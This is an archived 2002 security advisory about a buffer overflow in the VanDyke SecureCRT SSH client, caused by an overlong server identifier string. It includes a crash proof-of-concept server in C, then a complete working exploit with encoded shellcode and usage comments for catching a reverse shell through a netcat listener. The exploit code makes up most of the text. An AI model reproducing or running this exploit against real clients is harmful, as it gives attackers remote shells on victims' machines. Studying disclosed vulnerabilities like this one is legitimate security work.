24th Jul 2002 [SBWID-5551]
COMMAND
VanDyke SecureCRT client remote overflow via the header sequence
initialization
SYSTEMS AFFECTED
SecureCRT 3.4 & 4.0 beta
PROBLEM
Kyuzo says :
SecureCRT seems to have a bug in a seemlingly trivial portion of its
SSH connection code. When an SSH Client connects to a server, the
server sends a version string containing minor and major numbers for
the protocol, as well as a server-specific identifier string which is
specified to be no more than 40 bytes long. Unfortunetly the SecureCRT
code which handles errors relating to an unsupported protocol version
contains an unchecked buffer overflow when dealing with this identifier
string.
The following C code is given to reproduce this bug (yes I know Perl
would have been shorter, sorry):
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 9988
int main(int argc, char **argv) {
int s, n, i, sz = sizeof(struct sockaddr_in);
struct sockaddr_in local, whatever;
char payload[510];
strcpy(payload, "SSH-1.1-");
for (i = 8; i < 508; i++)
payload[i] = 'A';
payload[508] = 'n';
payload[509] = '0';
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
return 1;
}
local.sin_family = AF_INET;
local.sin_port = htons(PORT);
local.sin_addr.s_addr = INADDR_ANY;
memset(&(local.sin_zero), 0, 8);
if (bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) {
perror("bind");
return 1;
}
if (listen(s, 2) == -1) {
perror("listen");
return 1;
}
printf("waiting for connection...n");
if ((n = accept(s, (struct sockaddr *)&whatever, &sz)) == -1) {
perror("accept");
return 1;
}
printf("client connectedn");
if (send(n, payload, sizeof(payload) - 1, 0) == -1) {
perror("send");
return 1;
}
printf("sent string: [%s]n", payload);
close(n);
close(s);
return 0;
}
After starting the (fake) server, run the SecureCRT client, attach a
debugger and connect. Notice the value of PC is now
0x41414141...coincidence?
Update (25 July 2002)
======
Andrea Lisci posted an exploit :
// The bug was discovered by Kyuzo
// The schell code exploit was coded by Andrea Lisci
// The program working in the following way
//
// run the exploit
//./shellcode <netcat_machine> <netcat_port>
// run the netcat
// nc -l -p <netcat_port>
// connect from secureCRT to the port 9988 using ssh version 1
//
// the remote shell will be opened at netcat computer
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 9988
int main(int argc, char **argv) {
int s, n, i, sz = sizeof(struct sockaddr_in);
struct sockaddr_in local, whatever;
char payload[2510], *pshell;
unsigned char preshell[]="\xb8\x00\x03\xff\xe0";
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;
unsigned char shell[] =
"\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\x16\x53\x84"
"\x6a\x73\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d\x95\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc3\x98\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\xc4\x2b\x02\x75\x66\xc7\x47\x4c\x01\x81\x50\x8d\x47\x20"
"\x50\x83\xee\x11\x05\x11\x11\x11\x01\x2d\x7a\x12\x11\x01\xff\xe0";
a_port=htons(atoi(argv[2]));
a_port ^= 0x9595;
//ht=gethostbyname(argv[1]);
//a_host= (unsigned long) *(ht->h_addr);
a_host=inet_addr(argv[1]);
a_host ^= 0x95959595;
shell[385]= ((a_port) & 0xff);
shell[386]= ((a_port >> 8 ) & 0xff);
shell[390]= ((a_host) & 0xff);
shell[391]= ((a_host >> 8) & 0xff);
shell[392]= ((a_host >>16) & 0xff);
shell[393]= ((a_host >>24) & 0xff);
memset(payload,0x90,sizeof(payload));
strcpy(payload, "SSH-1.1-");
for (i = 8; i < 267; i++)
payload[i] = 'A';
payload[i+1]=0x00;
payload[i+2]=0xbb;
payload[i+3]=0x12;
payload[i+4]=0x00;
payload[i+5] = '\n';
payload[i+6]= '\0';
pshell=&payload;
pshell+=100;
memcpy(pshell,preshell,sizeof(preshell));
pshell=&payload;
pshell+=300;
memcpy(pshell,shell,sizeof(shell));
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
return 1;
}
local.sin_family = AF_INET;
local.sin_port = htons(PORT);
local.sin_addr.s_addr = INADDR_ANY;
memset(&(local.sin_zero), 0, 8);
if (bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) {
perror("bind");
return 1;
}
if (listen(s, 2) == -1) {
perror("listen");
return 1;
}
printf("waiting for connection...\n");
if ((n = accept(s, (struct sockaddr *)&whatever, &sz)) == -1) {
perror("accept");
return 1;
}
printf("client connected\n");
if (send(n, payload, sizeof(payload) - 1, 0) == -1) {
perror("send");
return 1;
}
printf("sent string: [%s]\n", payload);
close(n);
close(s);
return 0;
}
SOLUTION
Patch will be put into SecureCRT 3.4 and 4.0 see
[http://www.vandyke.com]
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